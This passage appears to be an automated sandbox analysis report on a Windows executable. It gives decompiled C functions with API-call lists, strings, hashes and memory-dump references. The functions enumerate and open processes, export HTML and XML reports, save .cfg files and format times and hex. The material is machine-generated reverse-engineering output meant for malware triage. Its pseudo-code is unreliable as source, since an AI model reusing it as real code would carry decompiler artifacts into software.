LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004047FA,?,?,?,004035EB,?,?), ref: 0040472B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB), ref: 00404749
wcslen.MSVCRT ref: 00404756
wcscpy.MSVCRT ref: 00404766
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB,?), ref: 00404770
wcscpy.MSVCRT ref: 00404780

Strings

netmsg.dll, xrefs: 00404726

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: netmsg.dll
API String ID: 2767993716-3706735626
Opcode ID: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction ID: 89adc518ee94488043421af4a237527fbec77c55aa854962abbb3bd0e0f931e1
Opcode Fuzzy Hash: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction Fuzzy Hash: 4F01D471200114FAEB152B61DD8AE9F7A6CEB46796B20417AFA02B60D1DB755E0086AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040598B, Relevance: 12.1, APIs: 8, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040598B(void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				char _v72;
				void _v582;
				long _v584;
				void* __edi;
				intOrPtr _t27;
				wchar_t* _t34;
				wchar_t* _t42;
				long* _t43;
				int _t44;
				void* _t52;
				void* _t54;
				long _t56;
				long* _t57;
				void* _t60;

				_t60 = __eflags;
				_t52 = __edx;
				E004095AB( &_v72);
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				E004095FD(_t52, _t60,  &_v72);
				_t27 = 0;
				_v12 = 0;
				if(_v20 <= 0) {
					L10:
					_t56 = 0;
				} else {
					do {
						_t57 = E00405A92(_t27,  &_v32);
						if(E00409A94( *_t57,  &_v584) == 0) {
							goto L9;
						} else {
							_t34 =  &_v584;
							_push(_t34);
							_push(_a4);
							L0040B278();
							if(_t34 == 0) {
								L5:
								_t44 = 0;
								_t54 = OpenProcess(0x2000000, 0,  *_t57);
								if(_t54 == 0) {
									goto L9;
								} else {
									_v16 = _v16 & 0;
									if(OpenProcessToken(_t54, 2,  &_v16) != 0) {
										_t44 = 1;
										CloseHandle(_v16);
									}
									CloseHandle(_t54);
									if(_t44 != 0) {
										_t56 =  *_t57;
									} else {
										goto L9;
									}
								}
							} else {
								_t42 = wcschr( &_v584, 0x5c);
								if(_t42 == 0) {
									goto L9;
								} else {
									_t43 =  &(_t42[0]);
									_push(_t43);
									_push(_a4);
									L0040B278();
									if(_t43 != 0) {
										goto L9;
									} else {
										goto L5;
									}
								}
							}
						}
						goto L12;
						L9:
						_t27 = _v12 + 1;
						_v12 = _t27;
					} while (_t27 < _v20);
					goto L10;
				}
				L12:
				E004095DA( &_v72);
				return _t56;
			}

0x0040598b
0x0040598b
0x0040599a
0x004059ae
0x004059b5
0x004059c1
0x004059c6
0x004059cb
0x004059ce
0x00405a7b
0x00405a7b
0x004059d4
0x004059d4
0x004059dc
0x004059ee
0x00000000
0x004059f0
0x004059f0
0x004059f6
0x004059f7
0x004059fa
0x00405a03
0x00405a2b
0x00405a2e
0x00405a3c
0x00405a40
0x00000000
0x00405a42
0x00405a42
0x00405a54
0x00405a59
0x00405a5a
0x00405a5a
0x00405a61
0x00405a69
0x00405a7f
0x00000000
0x00000000
0x00000000
0x00405a69
0x00405a05
0x00405a0e
0x00405a17
0x00000000
0x00405a19
0x00405a19
0x00405a1c
0x00405a1d
0x00405a20
0x00405a29
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a29
0x00405a17
0x00405a03
0x00000000
0x00405a6b
0x00405a6e
0x00405a72
0x00405a72
0x00000000
0x004059d4
0x00405a81
0x00405a84
0x00405a8f

APIs

memset.MSVCRT ref: 004059B5

Part of subcall function 004095FD: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
Part of subcall function 004095FD: memset.MSVCRT ref: 0040962E
Part of subcall function 004095FD: Process32FirstW.KERNEL32(?,?), ref: 0040964A
Part of subcall function 004095FD: Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
Part of subcall function 004095FD: CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Part of subcall function 00409A94: memset.MSVCRT ref: 00409AB7
Part of subcall function 00409A94: memset.MSVCRT ref: 00409ACF
Part of subcall function 00409A94: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
Part of subcall function 00409A94: memset.MSVCRT ref: 00409B25
Part of subcall function 00409A94: GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
Part of subcall function 00409A94: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
Part of subcall function 00409A94: FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

_wcsicmp.MSVCRT ref: 004059FA
wcschr.MSVCRT ref: 00405A0E
_wcsicmp.MSVCRT ref: 00405A20
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
CloseHandle.KERNEL32(?), ref: 00405A5A
CloseHandle.KERNEL32(00000000), ref: 00405A61

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$CloseHandle$OpenProcess$Process32_wcsicmp$AddressCreateFirstFreeLibraryNextProcSnapshotTokenToolhelp32wcschr
String ID:
API String ID: 768606695-0
Opcode ID: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction ID: 2def5e4e0f7fb713a9aee1133a075480eaa7d54608268b88a97ef3230c71c50c
Opcode Fuzzy Hash: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction Fuzzy Hash: 18318472A00619ABDB10EBA1DD89AAF77B8EF04345F10457BE905F2191EB349E018F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

0x00407639
0x00407646
0x00407647
0x00407654
0x0040765f
0x0040765f
0x0040766b
0x0040766d
0x00407672
0x00407677
0x0040767d
0x00407680
0x00407686
0x00407691
0x00407697
0x00407699
0x00407699
0x0040769c
0x0040769f
0x004076a3
0x004076a7
0x004076ab
0x004076b5
0x004076be
0x004076c8
0x004076de
0x004076ee
0x004076f1
0x004076f4
0x004076fa
0x00407708
0x0040770e
0x00407718
0x0040771d
0x00407723
0x00407724
0x00407727
0x0040772c
0x0040772f
0x00407734
0x0040773f
0x00407744
0x00407745
0x0040767d
0x00407760

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

<tr>, xrefs: 00407661
<td bgcolor=#%s>%s, xrefs: 00407657
 , xrefs: 00407702
<td bgcolor=#%s nowrap>%s, xrefs: 00407649

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

0x0040605e
0x00406061
0x00406069
0x00406074
0x0040607a
0x0040607e
0x00406082
0x00406148
0x0040614e
0x00000000
0x00000000
0x00000000
0x00406088
0x00406088
0x00406093
0x00406098
0x0040609f
0x004060ae
0x004060b6
0x004060be
0x004060c6
0x004060ca
0x004060cf
0x004060d7
0x00000000
0x00000000
0x004060de
0x00406129
0x00406129
0x0040612d
0x0040612f
0x00406130
0x00406134
0x00406137
0x0040613c
0x0040613c
0x00000000
0x0040612d
0x004060e7
0x004060f0
0x004060f2
0x004060f2
0x004060f9
0x004060fd
0x00406102
0x0040610c
0x00406112
0x00406117
0x00406117
0x00406104
0x00406104
0x00406104
0x00406104
0x00406102
0x00406122
0x00406128
0x00000000
0x0040613f
0x0040613f
0x00406140
0x00000000

APIs

GetMenuItemCount.USER32 ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

0, xrefs: 004060AE
6, xrefs: 004060B6

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BEE, Relevance: 10.6, APIs: 7, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402BEE(void* __ebx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				void* _t27;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t41;
				int _t50;

				_t34 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x10)) == 0 ||  *((intOrPtr*)(__ebx + 0x14)) == 0) {
					return _t27;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v8 = GetSystemMetrics(0x4e);
					_v12 = GetSystemMetrics(0x4f);
					_t41 = GetSystemMetrics(0x4c);
					_t31 = GetSystemMetrics(0x4d);
					if(_v8 == 0 || _v12 == 0) {
						_v8 = GetSystemMetrics(0);
						_v12 = GetSystemMetrics(1);
						_t41 = 0;
						_t31 = 0;
					} else {
						_v8 = _v8 + _t41;
						_v12 = _v12 + _t31;
					}
					_t50 = _v20 - _v28;
					if(_t50 > 0x14) {
						_t38 = _v24;
						_t37 = _v16 - _t38;
						if(_t37 > 0x14 && _v20 > _t41 + 5) {
							_t31 = _t31 + 0xfffffff6;
							if(_t38 >= _t31) {
								_t31 = _v28;
								if(_t31 + 0x14 < _v8 && _t38 + 0x14 < _v12 &&  *((intOrPtr*)(_t34 + 0x1c)) != 0) {
									_t31 = SetWindowPos( *(_t34 + 0x10), 0, _t31, _t38, _t50, _t37, 0x204);
								}
							}
						}
					}
					return _t31;
				}
			}

0x00402bee
0x00402bf8
0x00402cae
0x00402c08
0x00402c10
0x00402c11
0x00402c12
0x00402c13
0x00402c20
0x00402c27
0x00402c2e
0x00402c30
0x00402c37
0x00402c4b
0x00402c50
0x00402c53
0x00402c55
0x00402c3e
0x00402c3e
0x00402c41
0x00402c41
0x00402c5a
0x00402c60
0x00402c65
0x00402c68
0x00402c6d
0x00402c77
0x00402c7c
0x00402c7e
0x00402c87
0x00402ca5
0x00402ca5
0x00402c87
0x00402c7c
0x00402c6d
0x00000000
0x00402cac

APIs

GetSystemMetrics.USER32 ref: 00402C1C
GetSystemMetrics.USER32 ref: 00402C23
GetSystemMetrics.USER32 ref: 00402C2A
GetSystemMetrics.USER32 ref: 00402C30
GetSystemMetrics.USER32 ref: 00402C47
GetSystemMetrics.USER32 ref: 00402C4E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204,?,?,?,?,?,?,?,?,0040365B), ref: 00402CA5

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$Window
String ID:
API String ID: 1155976603-0
Opcode ID: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction ID: 7065afd7c6b37d04baa6ac94661e9c3c7a9384fc7fb7d7b8ebf201216021487f
Opcode Fuzzy Hash: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction Fuzzy Hash: B9217F72D00219EBEF14DF68CE496AF7B75EF40318F11446AD901BB1C5D2B8AD81CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004036D5, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036D5(void* __edi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char _v28;
				char* _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				int _v64;
				int _v72;
				intOrPtr _v76;
				wchar_t* _v80;
				intOrPtr _v84;
				int _v92;
				char* _v96;
				intOrPtr _v104;
				struct tagOFNA _v108;
				void _v634;
				long _v636;
				void _v2682;
				char _v2684;
				void* __ebx;
				char _t37;
				intOrPtr _t38;
				int _t46;
				signed short _t54;

				_v636 = 0;
				memset( &_v634, 0, 0x208);
				_v2684 = 0;
				memset( &_v2682, 0, 0x7fe);
				_t37 =  *((intOrPtr*)(L"cfg")); // 0x660063
				_v12 = _t37;
				_t38 =  *0x40cbf0; // 0x67
				_v8 = _t38;
				_v28 = E00405B81(0x227);
				_v24 = L"*.cfg";
				_v20 = E00405B81(0x228);
				_v16 = L"*.*";
				E00405236( &_v2684,  &_v28);
				_t54 = 0xa;
				_v60 = E00405B81(_t54);
				_v104 =  *((intOrPtr*)(__edi + 0x10));
				_v48 =  &_v12;
				_v96 =  &_v2684;
				_v108 = 0x4c;
				_v92 = 0;
				_v84 = 1;
				_v80 =  &_v636;
				_v76 = 0x104;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0x80806;
				_t46 = GetSaveFileNameW( &_v108);
				if(_t46 != 0) {
					wcscpy( &_v636, _v80);
					return E0040365E(__edi, 1,  &_v636);
				}
				return _t46;
			}

0x004036ef
0x004036f6
0x0040370b
0x00403712
0x00403717
0x0040371c
0x0040371f
0x0040372c
0x00403735
0x00403738
0x00403744
0x00403751
0x00403758
0x00403760
0x00403769
0x0040376c
0x00403778
0x0040377b
0x0040378b
0x00403792
0x00403795
0x00403798
0x0040379b
0x004037a2
0x004037a5
0x004037a8
0x004037af
0x004037b7
0x004037c3
0x00000000
0x004037d4
0x004037dc

APIs

memset.MSVCRT ref: 004036F6
memset.MSVCRT ref: 00403712

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Part of subcall function 00405236: memset.MSVCRT ref: 00405257
Part of subcall function 00405236: _snwprintf.MSVCRT ref: 00405285
Part of subcall function 00405236: wcslen.MSVCRT ref: 00405291
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052A9
Part of subcall function 00405236: wcslen.MSVCRT ref: 004052B7
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052CA

GetSaveFileNameW.COMDLG32(?), ref: 004037AF
wcscpy.MSVCRT ref: 004037C3

Strings

L, xrefs: 0040378B
cfg, xrefs: 00403717

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpymemsetwcslen$HandleModulewcscpy$FileLoadNameSaveString_snwprintf
String ID: L$cfg
API String ID: 275899518-3734058911
Opcode ID: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction ID: 069f946bae6f7cb0c9846f37a0b0d91fba0b14879ba0d1f27e167351657a8a18
Opcode Fuzzy Hash: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction Fuzzy Hash: 78312AB1D04218AFDB50DFA5D889ADEBBB8FF04314F10416AE508B6280DB746A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0, Relevance: 10.6, APIs: 7, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED0(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v20;
				long _v276;
				long _v532;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v20) == 0 || _v20 <= 0x3e8) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v20, 0,  &_v276, 0x80);
						GetTimeFormatW(0x400, 0,  &_v20, 0,  &_v532, 0x80);
						wcscpy(_a4,  &_v276);
						wcscat(_a4, " ");
						wcscat(_a4,  &_v532);
					}
				} else {
					L5:
					wcscpy(_a4, 0x40c4e8);
				}
				return _a4;
			}

0x00404ed0
0x00404edf
0x00404ef6
0x00000000
0x00404f00
0x00404f1c
0x00404f31
0x00404f41
0x00404f4e
0x00404f5d
0x00404f66
0x00404f69
0x00404f69
0x00404f71
0x00404f77
0x00404f7d

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00404EEE
GetDateFormatW.KERNEL32(00000400,00000001,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F1C
GetTimeFormatW.KERNEL32(00000400,00000000,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F31
wcscpy.MSVCRT ref: 00404F41
wcscat.MSVCRT ref: 00404F4E
wcscat.MSVCRT ref: 00404F5D
wcscpy.MSVCRT ref: 00404F71

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction ID: 27f756489727a3478797c508db698983d473b6c4fef27ef98cb5a9ae0a7a07e8
Opcode Fuzzy Hash: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction Fuzzy Hash: 951160B2840119EBDB11AB94DC85EFE776CFB44304F04457ABA05B6090D774AA858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404FE0(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					_push(L"%2.2X");
					_push(0xff);
					_push( &_v516);
					L0040B1EC();
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, L"  ");
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}

0x00404fe0
0x00404fe9
0x00405000
0x00405005
0x00405009
0x0040500c
0x0040500e
0x00405015
0x00405016
0x00405021
0x00405026
0x00405027
0x0040502c
0x00405031
0x00405039
0x0040503f
0x00405044
0x00405048
0x0040504e
0x00405056
0x0040505c
0x0040504e
0x00405065
0x0040506a
0x00405072
0x00405079

APIs

memset.MSVCRT ref: 00405000
_snwprintf.MSVCRT ref: 00405027
wcscat.MSVCRT ref: 00405039
wcscat.MSVCRT ref: 00405056
wcscat.MSVCRT ref: 00405065

Strings

%2.2X, xrefs: 00405016

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction ID: 93e5f8641594d75a0278127c9762c797554eaad4f41234795e116b90c7bd1a0f
Opcode Fuzzy Hash: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction Fuzzy Hash: FA01B57394072566E72067569C86BBB33ACEB41714F10407BFD14B91C2EB7CDA444ADC

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00407D80(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x24)) == 0) {
					_push(L"<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\r\n");
				} else {
					_push(L"<?xml version=\"1.0\" ?>\r\n");
				}
				E00407343(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E00407250(_t31, _t19);
				_push(_t31);
				_push(L"<%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t29, _a4,  &_v1028);
			}

0x00407d9c
0x00407d9e
0x00407da5
0x00407db3
0x00407dba
0x00407dc5
0x00407dc7
0x00407dd0
0x00407dc9
0x00407dc9
0x00407dc9
0x00407dd8
0x00407de1
